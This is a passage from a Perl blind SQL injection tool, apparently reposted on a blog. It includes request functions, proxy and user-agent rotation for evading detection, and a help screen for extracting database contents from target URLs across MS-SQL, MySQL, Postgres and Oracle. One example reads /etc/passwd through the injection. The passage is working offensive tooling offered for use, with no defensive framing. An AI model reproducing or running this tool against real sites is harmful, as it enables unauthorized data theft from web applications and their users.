    } elsif ($rtime =~ /\d*-\d*/ && $time != 0) {
        print "You can't run with -time and -rtime. See -help.\n";
        exit 1;
    }
    sleep $secs;
   
    my $res;
    if (lc($method) eq "get") {
        my $fetch = $_[0];
        if ($cookie) {
            $res = $ua->get("$fetch", Cookie => "$cookie");
        } elsif (!$cookie) {
            $res = $ua->get("$fetch");
        }
    } elsif (lc($method) eq "post") {
        my($s, $a, $p, $q, $f) =
          $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
        my $fetch = "$s://$a".$p;
        if ($cookie) {
            $res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
        } elsif (!$cookie) {
            $res = $ua->post("$fetch",\%vars);
        }
    } else {
        die "Wrong httpd method. Use -h for help\n";
    }
    my $html = $res->content();
    return $html;
}


sub getproxy {
    if ($rproxy && $proxy !~ /http/) {
        my @lproxy;
        open PROXY, $rproxy or die "Can't open file: $rproxy\n";
        while() { push(@lproxy,$_) if ! /^#/ }
        close PROXY;
        srand; my $ind = rand @lproxy;
        $proxy = $lproxy[$ind];
    } elsif ($rproxy && $proxy =~ /http/)  {
        print "You can't run with -proxy and -rproxy. See -help.\n";
        exit 1;
    }
}

sub getuagent {
        my @uproxy;
        open UAGENT, $ruagent or die "Can't open file: $ruagent\n";
        while() { push(@uproxy,$_) if ! /^#/ }
        close UAGENT;
        srand; my $ind = rand @uproxy;
        $uagent = $uproxy[$ind];
        chop($uagent);
}

sub result {
    print "\r results:\n" ." $sql = $solution\n" if length($solution) > 0;
    #print " total hits: $hits\n";
    my $blah= length($solution);
    if ($blah<2)
    {print "\n !!!!!!Errrrrrrr.. something is not quite right.. see below!!!!!\n";
     print "-------------------------------------------------------";
     print "\n1 In a string based injection, vulnerable parameter must end with single quote(')\n\t eg. some_file.php?id=foo'";
     print "\n2 AND don't forget to provide me a unique true response with -match";
     print "\n3 Also Check that the SQL Query you supplied returns only one row\n";
     print "-------------------------------------------------------\n\n\n";
    }
}

sub help {
    &banner();
        print " ---------------------usage:-------------------------------------------\n";
    print"\nInteger based Injection-->$0 - url http://www.host.com/path/script.php?foo=1000 [options]\n ";
    print "\nString Based Injection-->$0 - url http://www.host.com/path/script.php?foo=bar' [options]\n  ";
    print "\n ------------------------------------options:--------------------------\n";
    print " -sql:\t\tvalid SQL syntax to get; version(), database(),\n";
    print "\t\t\query like-->(select  table_name from inforamtion_schema.tables limit 1 offset 0)\n";
    print " -get: \t\tIf MySQL user is root, supply word readable file name\n";
    print " -blind:\tparameter to inject sql. Default is last value of url\n";
    print " -match:\t*RECOMMENDED* string to match in valid query, Default is try to get auto\n";
    print " -start:\tif you know the beginning of the string, use it.\n";
    print " -length:\tmaximum length of value. Default is $default_length.\n";
    print " -time:\t\ttimer options:\n";
    print " \t0:\tdont wait. Default option.\n";
    print " \t1:\twait 15 seconds\n";
    print " \t2:\twait 5 minutes\n";
    print " -type:\t\tType of injection:\n";
    print " \t0:\tType 0 (default) is blind injection based on True and False responses\n";
    print " \t1:\tType 1 is blind injection based on True and Error responses\n";
    print " -database:\tBackend database:\n";
    print " \t0:\tMS-SQL (Default)\n";
    print " \t1:\tMYSQL\n";
    print " \t2:\tPOSTGRES\n";
    print " \t3:\tORACLE\n";
    print " -rtime:\twait random seconds, for example: \"10-20\".\n";
    print " -method:\thttp method to use; get or post. Default is $default_method.\n";
    print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
    print " -ruagent:\tfile with random http UserAgent header to use.\n";
    print " -cookie:\thttp cookie header to use\n";
    print " -rproxy:\tuse random http proxy from file list.\n";
    print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
    print " -proxy_user:\tproxy http user\n";
    print " -proxy_pass:\tproxy http password\n";
    print "\n---------------------------- examples:-------------------------------\n";
    print "\n perl $0 -url http://www.target.com/blah.php?u=5 -blind u -sql \"select table_name from imformation_schema.tables limit 1 offset 0\" -database 1 -type 1\n";
    print "\n perl $0 -url http://www.target.com/bug.php?r=514&p=foo' -method post -get \"/etc/passwd\" -match \"foo\"\n";
    exit(1);
}

happy c0ding :)
Baca Selengkapnya... Deadc0de Blind SQL Injection <= to my honey JID :p